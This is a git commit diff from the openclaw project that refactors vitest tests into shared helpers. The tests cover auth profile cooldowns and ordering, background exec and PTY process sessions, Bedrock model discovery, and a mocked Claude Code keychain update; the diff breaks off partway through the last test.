mirror of
https://github.com/openclaw/openclaw.git
synced 2026-03-12 07:20:45 +00:00
refactor(agent): dedupe harness and command workflows
This commit is contained in:
@@ -8,26 +8,43 @@ import {
|
||||
markAuthProfileFailure,
|
||||
} from "./auth-profiles.js";
|
||||
|
||||
type AuthProfileStore = ReturnType<typeof ensureAuthProfileStore>;
|
||||
|
||||
async function withAuthProfileStore(
|
||||
fn: (ctx: { agentDir: string; store: AuthProfileStore }) => Promise<void>,
|
||||
): Promise<void> {
|
||||
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
|
||||
try {
|
||||
const authPath = path.join(agentDir, "auth-profiles.json");
|
||||
fs.writeFileSync(
|
||||
authPath,
|
||||
JSON.stringify({
|
||||
version: 1,
|
||||
profiles: {
|
||||
"anthropic:default": {
|
||||
type: "api_key",
|
||||
provider: "anthropic",
|
||||
key: "sk-default",
|
||||
},
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
const store = ensureAuthProfileStore(agentDir);
|
||||
await fn({ agentDir, store });
|
||||
} finally {
|
||||
fs.rmSync(agentDir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
function expectCooldownInRange(remainingMs: number, minMs: number, maxMs: number): void {
|
||||
expect(remainingMs).toBeGreaterThan(minMs);
|
||||
expect(remainingMs).toBeLessThan(maxMs);
|
||||
}
|
||||
|
||||
describe("markAuthProfileFailure", () => {
|
||||
it("disables billing failures for ~5 hours by default", async () => {
|
||||
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
|
||||
try {
|
||||
const authPath = path.join(agentDir, "auth-profiles.json");
|
||||
fs.writeFileSync(
|
||||
authPath,
|
||||
JSON.stringify({
|
||||
version: 1,
|
||||
profiles: {
|
||||
"anthropic:default": {
|
||||
type: "api_key",
|
||||
provider: "anthropic",
|
||||
key: "sk-default",
|
||||
},
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
const store = ensureAuthProfileStore(agentDir);
|
||||
await withAuthProfileStore(async ({ agentDir, store }) => {
|
||||
const startedAt = Date.now();
|
||||
await markAuthProfileFailure({
|
||||
store,
|
||||
@@ -39,31 +56,11 @@ describe("markAuthProfileFailure", () => {
|
||||
const disabledUntil = store.usageStats?.["anthropic:default"]?.disabledUntil;
|
||||
expect(typeof disabledUntil).toBe("number");
|
||||
const remainingMs = (disabledUntil as number) - startedAt;
|
||||
expect(remainingMs).toBeGreaterThan(4.5 * 60 * 60 * 1000);
|
||||
expect(remainingMs).toBeLessThan(5.5 * 60 * 60 * 1000);
|
||||
} finally {
|
||||
fs.rmSync(agentDir, { recursive: true, force: true });
|
||||
}
|
||||
expectCooldownInRange(remainingMs, 4.5 * 60 * 60 * 1000, 5.5 * 60 * 60 * 1000);
|
||||
});
|
||||
});
|
||||
it("honors per-provider billing backoff overrides", async () => {
|
||||
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
|
||||
try {
|
||||
const authPath = path.join(agentDir, "auth-profiles.json");
|
||||
fs.writeFileSync(
|
||||
authPath,
|
||||
JSON.stringify({
|
||||
version: 1,
|
||||
profiles: {
|
||||
"anthropic:default": {
|
||||
type: "api_key",
|
||||
provider: "anthropic",
|
||||
key: "sk-default",
|
||||
},
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
const store = ensureAuthProfileStore(agentDir);
|
||||
await withAuthProfileStore(async ({ agentDir, store }) => {
|
||||
const startedAt = Date.now();
|
||||
await markAuthProfileFailure({
|
||||
store,
|
||||
@@ -83,11 +80,8 @@ describe("markAuthProfileFailure", () => {
|
||||
const disabledUntil = store.usageStats?.["anthropic:default"]?.disabledUntil;
|
||||
expect(typeof disabledUntil).toBe("number");
|
||||
const remainingMs = (disabledUntil as number) - startedAt;
|
||||
expect(remainingMs).toBeGreaterThan(0.8 * 60 * 60 * 1000);
|
||||
expect(remainingMs).toBeLessThan(1.2 * 60 * 60 * 1000);
|
||||
} finally {
|
||||
fs.rmSync(agentDir, { recursive: true, force: true });
|
||||
}
|
||||
expectCooldownInRange(remainingMs, 0.8 * 60 * 60 * 1000, 1.2 * 60 * 60 * 1000);
|
||||
});
|
||||
});
|
||||
it("resets backoff counters outside the failure window", async () => {
|
||||
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
|
||||
|
||||
@@ -1,5 +1,32 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { resolveAuthProfileOrder } from "./auth-profiles.js";
|
||||
import { type AuthProfileStore, resolveAuthProfileOrder } from "./auth-profiles.js";
|
||||
|
||||
function makeApiKeyStore(provider: string, profileIds: string[]): AuthProfileStore {
|
||||
return {
|
||||
version: 1,
|
||||
profiles: Object.fromEntries(
|
||||
profileIds.map((profileId) => [
|
||||
profileId,
|
||||
{
|
||||
type: "api_key",
|
||||
provider,
|
||||
key: profileId.endsWith(":work") ? "sk-work" : "sk-default",
|
||||
},
|
||||
]),
|
||||
),
|
||||
};
|
||||
}
|
||||
|
||||
function makeApiKeyProfilesByProviderProvider(
|
||||
providerByProfileId: Record<string, string>,
|
||||
): Record<string, { provider: string; mode: "api_key" }> {
|
||||
return Object.fromEntries(
|
||||
Object.entries(providerByProfileId).map(([profileId, provider]) => [
|
||||
profileId,
|
||||
{ provider, mode: "api_key" },
|
||||
]),
|
||||
);
|
||||
}
|
||||
|
||||
describe("resolveAuthProfileOrder", () => {
|
||||
it("normalizes z.ai aliases in auth.order", () => {
|
||||
@@ -7,27 +34,13 @@ describe("resolveAuthProfileOrder", () => {
|
||||
cfg: {
|
||||
auth: {
|
||||
order: { "z.ai": ["zai:work", "zai:default"] },
|
||||
profiles: {
|
||||
"zai:default": { provider: "zai", mode: "api_key" },
|
||||
"zai:work": { provider: "zai", mode: "api_key" },
|
||||
},
|
||||
},
|
||||
},
|
||||
store: {
|
||||
version: 1,
|
||||
profiles: {
|
||||
"zai:default": {
|
||||
type: "api_key",
|
||||
provider: "zai",
|
||||
key: "sk-default",
|
||||
},
|
||||
"zai:work": {
|
||||
type: "api_key",
|
||||
provider: "zai",
|
||||
key: "sk-work",
|
||||
},
|
||||
profiles: makeApiKeyProfilesByProviderProvider({
|
||||
"zai:default": "zai",
|
||||
"zai:work": "zai",
|
||||
}),
|
||||
},
|
||||
},
|
||||
store: makeApiKeyStore("zai", ["zai:default", "zai:work"]),
|
||||
provider: "zai",
|
||||
});
|
||||
expect(order).toEqual(["zai:work", "zai:default"]);
|
||||
@@ -37,27 +50,13 @@ describe("resolveAuthProfileOrder", () => {
|
||||
cfg: {
|
||||
auth: {
|
||||
order: { OpenAI: ["openai:work", "openai:default"] },
|
||||
profiles: {
|
||||
"openai:default": { provider: "openai", mode: "api_key" },
|
||||
"openai:work": { provider: "openai", mode: "api_key" },
|
||||
},
|
||||
},
|
||||
},
|
||||
store: {
|
||||
version: 1,
|
||||
profiles: {
|
||||
"openai:default": {
|
||||
type: "api_key",
|
||||
provider: "openai",
|
||||
key: "sk-default",
|
||||
},
|
||||
"openai:work": {
|
||||
type: "api_key",
|
||||
provider: "openai",
|
||||
key: "sk-work",
|
||||
},
|
||||
profiles: makeApiKeyProfilesByProviderProvider({
|
||||
"openai:default": "openai",
|
||||
"openai:work": "openai",
|
||||
}),
|
||||
},
|
||||
},
|
||||
store: makeApiKeyStore("openai", ["openai:default", "openai:work"]),
|
||||
provider: "openai",
|
||||
});
|
||||
expect(order).toEqual(["openai:work", "openai:default"]);
|
||||
@@ -66,27 +65,13 @@ describe("resolveAuthProfileOrder", () => {
|
||||
const order = resolveAuthProfileOrder({
|
||||
cfg: {
|
||||
auth: {
|
||||
profiles: {
|
||||
"zai:default": { provider: "z.ai", mode: "api_key" },
|
||||
"zai:work": { provider: "Z.AI", mode: "api_key" },
|
||||
},
|
||||
},
|
||||
},
|
||||
store: {
|
||||
version: 1,
|
||||
profiles: {
|
||||
"zai:default": {
|
||||
type: "api_key",
|
||||
provider: "zai",
|
||||
key: "sk-default",
|
||||
},
|
||||
"zai:work": {
|
||||
type: "api_key",
|
||||
provider: "zai",
|
||||
key: "sk-work",
|
||||
},
|
||||
profiles: makeApiKeyProfilesByProviderProvider({
|
||||
"zai:default": "z.ai",
|
||||
"zai:work": "Z.AI",
|
||||
}),
|
||||
},
|
||||
},
|
||||
store: makeApiKeyStore("zai", ["zai:default", "zai:work"]),
|
||||
provider: "zai",
|
||||
});
|
||||
expect(order).toEqual(["zai:default", "zai:work"]);
|
||||
|
||||
@@ -62,6 +62,16 @@ async function waitForCompletion(sessionId: string) {
|
||||
return status;
|
||||
}
|
||||
|
||||
async function runBackgroundEchoLines(lines: string[]) {
|
||||
const result = await execTool.execute("call1", {
|
||||
command: echoLines(lines),
|
||||
background: true,
|
||||
});
|
||||
const sessionId = (result.details as { sessionId: string }).sessionId;
|
||||
await waitForCompletion(sessionId);
|
||||
return sessionId;
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
resetProcessRegistryForTests();
|
||||
resetSystemEventsForTest();
|
||||
@@ -223,12 +233,7 @@ describe("exec tool backgrounding", () => {
|
||||
|
||||
it("defaults process log to a bounded tail when no window is provided", async () => {
|
||||
const lines = Array.from({ length: 260 }, (_value, index) => `line-${index + 1}`);
|
||||
const result = await execTool.execute("call1", {
|
||||
command: echoLines(lines),
|
||||
background: true,
|
||||
});
|
||||
const sessionId = (result.details as { sessionId: string }).sessionId;
|
||||
await waitForCompletion(sessionId);
|
||||
const sessionId = await runBackgroundEchoLines(lines);
|
||||
|
||||
const log = await processTool.execute("call2", {
|
||||
action: "log",
|
||||
@@ -263,12 +268,7 @@ describe("exec tool backgrounding", () => {
|
||||
|
||||
it("keeps offset-only log requests unbounded by default tail mode", async () => {
|
||||
const lines = Array.from({ length: 260 }, (_value, index) => `line-${index + 1}`);
|
||||
const result = await execTool.execute("call1", {
|
||||
command: echoLines(lines),
|
||||
background: true,
|
||||
});
|
||||
const sessionId = (result.details as { sessionId: string }).sessionId;
|
||||
await waitForCompletion(sessionId);
|
||||
const sessionId = await runBackgroundEchoLines(lines);
|
||||
|
||||
const log = await processTool.execute("call2", {
|
||||
action: "log",
|
||||
|
||||
@@ -12,166 +12,121 @@ afterEach(() => {
|
||||
resetProcessRegistryForTests();
|
||||
});
|
||||
|
||||
test("background exec is not killed when tool signal aborts", async () => {
|
||||
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
|
||||
const abortController = new AbortController();
|
||||
async function waitForFinishedSession(sessionId: string) {
|
||||
let finished = getFinishedSession(sessionId);
|
||||
const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000);
|
||||
while (!finished && Date.now() < deadline) {
|
||||
await sleep(20);
|
||||
finished = getFinishedSession(sessionId);
|
||||
}
|
||||
return finished;
|
||||
}
|
||||
|
||||
const result = await tool.execute(
|
||||
function cleanupRunningSession(sessionId: string) {
|
||||
const running = getSession(sessionId);
|
||||
const pid = running?.pid;
|
||||
if (pid) {
|
||||
killProcessTree(pid);
|
||||
}
|
||||
return running;
|
||||
}
|
||||
|
||||
async function expectBackgroundSessionSurvivesAbort(params: {
|
||||
tool: ReturnType<typeof createExecTool>;
|
||||
executeParams: Record<string, unknown>;
|
||||
}) {
|
||||
const abortController = new AbortController();
|
||||
const result = await params.tool.execute(
|
||||
"toolcall",
|
||||
{ command: 'node -e "setTimeout(() => {}, 5000)"', background: true },
|
||||
params.executeParams,
|
||||
abortController.signal,
|
||||
);
|
||||
|
||||
expect(result.details.status).toBe("running");
|
||||
const sessionId = (result.details as { sessionId: string }).sessionId;
|
||||
|
||||
abortController.abort();
|
||||
|
||||
await sleep(150);
|
||||
|
||||
const running = getSession(sessionId);
|
||||
const finished = getFinishedSession(sessionId);
|
||||
|
||||
try {
|
||||
expect(finished).toBeUndefined();
|
||||
expect(running?.exited).toBe(false);
|
||||
} finally {
|
||||
const pid = running?.pid;
|
||||
if (pid) {
|
||||
killProcessTree(pid);
|
||||
}
|
||||
cleanupRunningSession(sessionId);
|
||||
}
|
||||
}
|
||||
|
||||
async function expectBackgroundSessionTimesOut(params: {
|
||||
tool: ReturnType<typeof createExecTool>;
|
||||
executeParams: Record<string, unknown>;
|
||||
signal?: AbortSignal;
|
||||
abortAfterStart?: boolean;
|
||||
}) {
|
||||
const abortController = new AbortController();
|
||||
const signal = params.signal ?? abortController.signal;
|
||||
const result = await params.tool.execute("toolcall", params.executeParams, signal);
|
||||
expect(result.details.status).toBe("running");
|
||||
const sessionId = (result.details as { sessionId: string }).sessionId;
|
||||
|
||||
if (params.abortAfterStart) {
|
||||
abortController.abort();
|
||||
}
|
||||
|
||||
const finished = await waitForFinishedSession(sessionId);
|
||||
try {
|
||||
expect(finished).toBeTruthy();
|
||||
expect(finished?.status).toBe("failed");
|
||||
} finally {
|
||||
cleanupRunningSession(sessionId);
|
||||
}
|
||||
}
|
||||
|
||||
test("background exec is not killed when tool signal aborts", async () => {
|
||||
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
|
||||
await expectBackgroundSessionSurvivesAbort({
|
||||
tool,
|
||||
executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', background: true },
|
||||
});
|
||||
});
|
||||
|
||||
test("pty background exec is not killed when tool signal aborts", async () => {
|
||||
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
|
||||
const abortController = new AbortController();
|
||||
|
||||
const result = await tool.execute(
|
||||
"toolcall",
|
||||
{ command: 'node -e "setTimeout(() => {}, 5000)"', background: true, pty: true },
|
||||
abortController.signal,
|
||||
);
|
||||
|
||||
expect(result.details.status).toBe("running");
|
||||
const sessionId = (result.details as { sessionId: string }).sessionId;
|
||||
|
||||
abortController.abort();
|
||||
|
||||
await sleep(150);
|
||||
|
||||
const running = getSession(sessionId);
|
||||
const finished = getFinishedSession(sessionId);
|
||||
|
||||
try {
|
||||
expect(finished).toBeUndefined();
|
||||
expect(running?.exited).toBe(false);
|
||||
} finally {
|
||||
const pid = running?.pid;
|
||||
if (pid) {
|
||||
killProcessTree(pid);
|
||||
}
|
||||
}
|
||||
await expectBackgroundSessionSurvivesAbort({
|
||||
tool,
|
||||
executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', background: true, pty: true },
|
||||
});
|
||||
});
|
||||
|
||||
test("background exec still times out after tool signal abort", async () => {
|
||||
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
|
||||
const abortController = new AbortController();
|
||||
|
||||
const result = await tool.execute(
|
||||
"toolcall",
|
||||
{
|
||||
await expectBackgroundSessionTimesOut({
|
||||
tool,
|
||||
executeParams: {
|
||||
command: 'node -e "setTimeout(() => {}, 5000)"',
|
||||
background: true,
|
||||
timeout: 0.2,
|
||||
},
|
||||
abortController.signal,
|
||||
);
|
||||
|
||||
expect(result.details.status).toBe("running");
|
||||
const sessionId = (result.details as { sessionId: string }).sessionId;
|
||||
|
||||
abortController.abort();
|
||||
|
||||
let finished = getFinishedSession(sessionId);
|
||||
const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000);
|
||||
while (!finished && Date.now() < deadline) {
|
||||
await sleep(20);
|
||||
finished = getFinishedSession(sessionId);
|
||||
}
|
||||
|
||||
const running = getSession(sessionId);
|
||||
|
||||
try {
|
||||
expect(finished).toBeTruthy();
|
||||
expect(finished?.status).toBe("failed");
|
||||
} finally {
|
||||
const pid = running?.pid;
|
||||
if (pid) {
|
||||
killProcessTree(pid);
|
||||
}
|
||||
}
|
||||
abortAfterStart: true,
|
||||
});
|
||||
});
|
||||
|
||||
test("yielded background exec is not killed when tool signal aborts", async () => {
|
||||
const tool = createExecTool({ allowBackground: true, backgroundMs: 10 });
|
||||
const abortController = new AbortController();
|
||||
|
||||
const result = await tool.execute(
|
||||
"toolcall",
|
||||
{ command: 'node -e "setTimeout(() => {}, 5000)"', yieldMs: 5 },
|
||||
abortController.signal,
|
||||
);
|
||||
|
||||
expect(result.details.status).toBe("running");
|
||||
const sessionId = (result.details as { sessionId: string }).sessionId;
|
||||
|
||||
abortController.abort();
|
||||
|
||||
await sleep(150);
|
||||
|
||||
const running = getSession(sessionId);
|
||||
const finished = getFinishedSession(sessionId);
|
||||
|
||||
try {
|
||||
expect(finished).toBeUndefined();
|
||||
expect(running?.exited).toBe(false);
|
||||
} finally {
|
||||
const pid = running?.pid;
|
||||
if (pid) {
|
||||
killProcessTree(pid);
|
||||
}
|
||||
}
|
||||
await expectBackgroundSessionSurvivesAbort({
|
||||
tool,
|
||||
executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', yieldMs: 5 },
|
||||
});
|
||||
});
|
||||
|
||||
test("yielded background exec still times out", async () => {
|
||||
const tool = createExecTool({ allowBackground: true, backgroundMs: 10 });
|
||||
|
||||
const result = await tool.execute("toolcall", {
|
||||
command: 'node -e "setTimeout(() => {}, 5000)"',
|
||||
yieldMs: 5,
|
||||
timeout: 0.2,
|
||||
await expectBackgroundSessionTimesOut({
|
||||
tool,
|
||||
executeParams: {
|
||||
command: 'node -e "setTimeout(() => {}, 5000)"',
|
||||
yieldMs: 5,
|
||||
timeout: 0.2,
|
||||
},
|
||||
});
|
||||
|
||||
expect(result.details.status).toBe("running");
|
||||
const sessionId = (result.details as { sessionId: string }).sessionId;
|
||||
|
||||
let finished = getFinishedSession(sessionId);
|
||||
const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000);
|
||||
while (!finished && Date.now() < deadline) {
|
||||
await sleep(20);
|
||||
finished = getFinishedSession(sessionId);
|
||||
}
|
||||
|
||||
const running = getSession(sessionId);
|
||||
|
||||
try {
|
||||
expect(finished).toBeTruthy();
|
||||
expect(finished?.status).toBe("failed");
|
||||
} finally {
|
||||
const pid = running?.pid;
|
||||
if (pid) {
|
||||
killProcessTree(pid);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
@@ -8,12 +8,11 @@ afterEach(() => {
|
||||
resetProcessRegistryForTests();
|
||||
});
|
||||
|
||||
test("process send-keys encodes Enter for pty sessions", async () => {
|
||||
async function startPtySession(command: string) {
|
||||
const execTool = createExecTool();
|
||||
const processTool = createProcessTool();
|
||||
const result = await execTool.execute("toolcall", {
|
||||
command:
|
||||
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);process.stdin.on(dataEvent,d=>{process.stdout.write(d);if(d.includes(10)||d.includes(13))process.exit(0);});"',
|
||||
command,
|
||||
pty: true,
|
||||
background: true,
|
||||
});
|
||||
@@ -21,6 +20,36 @@ test("process send-keys encodes Enter for pty sessions", async () => {
|
||||
expect(result.details.status).toBe("running");
|
||||
const sessionId = result.details.sessionId;
|
||||
expect(sessionId).toBeTruthy();
|
||||
return { processTool, sessionId };
|
||||
}
|
||||
|
||||
async function waitForSessionCompletion(params: {
|
||||
processTool: ReturnType<typeof createProcessTool>;
|
||||
sessionId: string;
|
||||
expectedText: string;
|
||||
}) {
|
||||
const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000);
|
||||
while (Date.now() < deadline) {
|
||||
await sleep(50);
|
||||
const poll = await params.processTool.execute("toolcall", {
|
||||
action: "poll",
|
||||
sessionId: params.sessionId,
|
||||
});
|
||||
const details = poll.details as { status?: string; aggregated?: string };
|
||||
if (details.status !== "running") {
|
||||
expect(details.status).toBe("completed");
|
||||
expect(details.aggregated ?? "").toContain(params.expectedText);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error(`PTY session did not exit after ${params.expectedText}`);
|
||||
}
|
||||
|
||||
test("process send-keys encodes Enter for pty sessions", async () => {
|
||||
const { processTool, sessionId } = await startPtySession(
|
||||
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);process.stdin.on(dataEvent,d=>{process.stdout.write(d);if(d.includes(10)||d.includes(13))process.exit(0);});"',
|
||||
);
|
||||
|
||||
await processTool.execute("toolcall", {
|
||||
action: "send-keys",
|
||||
@@ -28,51 +57,18 @@ test("process send-keys encodes Enter for pty sessions", async () => {
|
||||
keys: ["h", "i", "Enter"],
|
||||
});
|
||||
|
||||
const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000);
|
||||
while (Date.now() < deadline) {
|
||||
await sleep(50);
|
||||
const poll = await processTool.execute("toolcall", { action: "poll", sessionId });
|
||||
const details = poll.details as { status?: string; aggregated?: string };
|
||||
if (details.status !== "running") {
|
||||
expect(details.status).toBe("completed");
|
||||
expect(details.aggregated ?? "").toContain("hi");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error("PTY session did not exit after send-keys");
|
||||
await waitForSessionCompletion({ processTool, sessionId, expectedText: "hi" });
|
||||
});
|
||||
|
||||
test("process submit sends Enter for pty sessions", async () => {
|
||||
const execTool = createExecTool();
|
||||
const processTool = createProcessTool();
|
||||
const result = await execTool.execute("toolcall", {
|
||||
command:
|
||||
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);const submitted=String.fromCharCode(115,117,98,109,105,116,116,101,100);process.stdin.on(dataEvent,d=>{if(d.includes(10)||d.includes(13)){process.stdout.write(submitted);process.exit(0);}});"',
|
||||
pty: true,
|
||||
background: true,
|
||||
});
|
||||
|
||||
expect(result.details.status).toBe("running");
|
||||
const sessionId = result.details.sessionId;
|
||||
expect(sessionId).toBeTruthy();
|
||||
const { processTool, sessionId } = await startPtySession(
|
||||
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);const submitted=String.fromCharCode(115,117,98,109,105,116,116,101,100);process.stdin.on(dataEvent,d=>{if(d.includes(10)||d.includes(13)){process.stdout.write(submitted);process.exit(0);}});"',
|
||||
);
|
||||
|
||||
await processTool.execute("toolcall", {
|
||||
action: "submit",
|
||||
sessionId,
|
||||
});
|
||||
|
||||
const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000);
|
||||
while (Date.now() < deadline) {
|
||||
await sleep(50);
|
||||
const poll = await processTool.execute("toolcall", { action: "poll", sessionId });
|
||||
const details = poll.details as { status?: string; aggregated?: string };
|
||||
if (details.status !== "running") {
|
||||
expect(details.status).toBe("completed");
|
||||
expect(details.aggregated ?? "").toContain("submitted");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error("PTY session did not exit after submit");
|
||||
await waitForSessionCompletion({ processTool, sessionId, expectedText: "submitted" });
|
||||
});
|
||||
|
||||
@@ -4,15 +4,35 @@ import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
const sendMock = vi.fn();
|
||||
const clientFactory = () => ({ send: sendMock }) as unknown as BedrockClient;
|
||||
|
||||
const baseActiveAnthropicSummary = {
|
||||
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
|
||||
modelName: "Claude 3.7 Sonnet",
|
||||
providerName: "anthropic",
|
||||
inputModalities: ["TEXT"],
|
||||
outputModalities: ["TEXT"],
|
||||
responseStreamingSupported: true,
|
||||
modelLifecycle: { status: "ACTIVE" },
|
||||
};
|
||||
|
||||
async function loadDiscovery() {
|
||||
const mod = await import("./bedrock-discovery.js");
|
||||
mod.resetBedrockDiscoveryCacheForTest();
|
||||
return mod;
|
||||
}
|
||||
|
||||
function mockSingleActiveSummary(overrides: Partial<typeof baseActiveAnthropicSummary> = {}): void {
|
||||
sendMock.mockResolvedValueOnce({
|
||||
modelSummaries: [{ ...baseActiveAnthropicSummary, ...overrides }],
|
||||
});
|
||||
}
|
||||
|
||||
describe("bedrock discovery", () => {
|
||||
beforeEach(() => {
|
||||
sendMock.mockReset();
|
||||
});
|
||||
|
||||
it("filters to active streaming text models and maps modalities", async () => {
|
||||
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
|
||||
await import("./bedrock-discovery.js");
|
||||
resetBedrockDiscoveryCacheForTest();
|
||||
const { discoverBedrockModels } = await loadDiscovery();
|
||||
|
||||
sendMock.mockResolvedValueOnce({
|
||||
modelSummaries: [
|
||||
@@ -68,23 +88,8 @@ describe("bedrock discovery", () => {
|
||||
});
|
||||
|
||||
it("applies provider filter", async () => {
|
||||
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
|
||||
await import("./bedrock-discovery.js");
|
||||
resetBedrockDiscoveryCacheForTest();
|
||||
|
||||
sendMock.mockResolvedValueOnce({
|
||||
modelSummaries: [
|
||||
{
|
||||
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
|
||||
modelName: "Claude 3.7 Sonnet",
|
||||
providerName: "anthropic",
|
||||
inputModalities: ["TEXT"],
|
||||
outputModalities: ["TEXT"],
|
||||
responseStreamingSupported: true,
|
||||
modelLifecycle: { status: "ACTIVE" },
|
||||
},
|
||||
],
|
||||
});
|
||||
const { discoverBedrockModels } = await loadDiscovery();
|
||||
mockSingleActiveSummary();
|
||||
|
||||
const models = await discoverBedrockModels({
|
||||
region: "us-east-1",
|
||||
@@ -95,23 +100,8 @@ describe("bedrock discovery", () => {
|
||||
});
|
||||
|
||||
it("uses configured defaults for context and max tokens", async () => {
|
||||
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
|
||||
await import("./bedrock-discovery.js");
|
||||
resetBedrockDiscoveryCacheForTest();
|
||||
|
||||
sendMock.mockResolvedValueOnce({
|
||||
modelSummaries: [
|
||||
{
|
||||
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
|
||||
modelName: "Claude 3.7 Sonnet",
|
||||
providerName: "anthropic",
|
||||
inputModalities: ["TEXT"],
|
||||
outputModalities: ["TEXT"],
|
||||
responseStreamingSupported: true,
|
||||
modelLifecycle: { status: "ACTIVE" },
|
||||
},
|
||||
],
|
||||
});
|
||||
const { discoverBedrockModels } = await loadDiscovery();
|
||||
mockSingleActiveSummary();
|
||||
|
||||
const models = await discoverBedrockModels({
|
||||
region: "us-east-1",
|
||||
@@ -122,23 +112,8 @@ describe("bedrock discovery", () => {
|
||||
});
|
||||
|
||||
it("caches results when refreshInterval is enabled", async () => {
|
||||
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
|
||||
await import("./bedrock-discovery.js");
|
||||
resetBedrockDiscoveryCacheForTest();
|
||||
|
||||
sendMock.mockResolvedValueOnce({
|
||||
modelSummaries: [
|
||||
{
|
||||
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
|
||||
modelName: "Claude 3.7 Sonnet",
|
||||
providerName: "anthropic",
|
||||
inputModalities: ["TEXT"],
|
||||
outputModalities: ["TEXT"],
|
||||
responseStreamingSupported: true,
|
||||
modelLifecycle: { status: "ACTIVE" },
|
||||
},
|
||||
],
|
||||
});
|
||||
const { discoverBedrockModels } = await loadDiscovery();
|
||||
mockSingleActiveSummary();
|
||||
|
||||
await discoverBedrockModels({ region: "us-east-1", clientFactory });
|
||||
await discoverBedrockModels({ region: "us-east-1", clientFactory });
|
||||
@@ -146,37 +121,11 @@ describe("bedrock discovery", () => {
|
||||
});
|
||||
|
||||
it("skips cache when refreshInterval is 0", async () => {
|
||||
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
|
||||
await import("./bedrock-discovery.js");
|
||||
resetBedrockDiscoveryCacheForTest();
|
||||
const { discoverBedrockModels } = await loadDiscovery();
|
||||
|
||||
sendMock
|
||||
.mockResolvedValueOnce({
|
||||
modelSummaries: [
|
||||
{
|
||||
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
|
||||
modelName: "Claude 3.7 Sonnet",
|
||||
providerName: "anthropic",
|
||||
inputModalities: ["TEXT"],
|
||||
outputModalities: ["TEXT"],
|
||||
responseStreamingSupported: true,
|
||||
modelLifecycle: { status: "ACTIVE" },
|
||||
},
|
||||
],
|
||||
})
|
||||
.mockResolvedValueOnce({
|
||||
modelSummaries: [
|
||||
{
|
||||
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
|
||||
modelName: "Claude 3.7 Sonnet",
|
||||
providerName: "anthropic",
|
||||
inputModalities: ["TEXT"],
|
||||
outputModalities: ["TEXT"],
|
||||
responseStreamingSupported: true,
|
||||
modelLifecycle: { status: "ACTIVE" },
|
||||
},
|
||||
],
|
||||
});
|
||||
.mockResolvedValueOnce({ modelSummaries: [baseActiveAnthropicSummary] })
|
||||
.mockResolvedValueOnce({ modelSummaries: [baseActiveAnthropicSummary] });
|
||||
|
||||
await discoverBedrockModels({
|
||||
region: "us-east-1",
|
||||
|
||||
@@ -6,6 +6,31 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
const execSyncMock = vi.fn();
|
||||
const execFileSyncMock = vi.fn();
|
||||
|
||||
function mockExistingClaudeKeychainItem() {
|
||||
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
|
||||
const argv = Array.isArray(args) ? args.map(String) : [];
|
||||
if (String(file) === "security" && argv.includes("find-generic-password")) {
|
||||
return JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: "old-access",
|
||||
refreshToken: "old-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
});
|
||||
}
|
||||
return "";
|
||||
});
|
||||
}
|
||||
|
||||
function getAddGenericPasswordCall() {
|
||||
return execFileSyncMock.mock.calls.find(
|
||||
([binary, args]) =>
|
||||
String(binary) === "security" &&
|
||||
Array.isArray(args) &&
|
||||
(args as unknown[]).map(String).includes("add-generic-password"),
|
||||
);
|
||||
}
|
||||
|
||||
describe("cli credentials", () => {
|
||||
beforeEach(() => {
|
||||
vi.useFakeTimers();
|
||||
@@ -21,19 +46,7 @@ describe("cli credentials", () => {
|
||||
});
|
||||
|
||||
it("updates the Claude Code keychain item in place", async () => {
|
||||
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
|
||||
const argv = Array.isArray(args) ? args.map(String) : [];
|
||||
if (String(file) === "security" && argv.includes("find-generic-password")) {
|
||||
return JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: "old-access",
|
||||
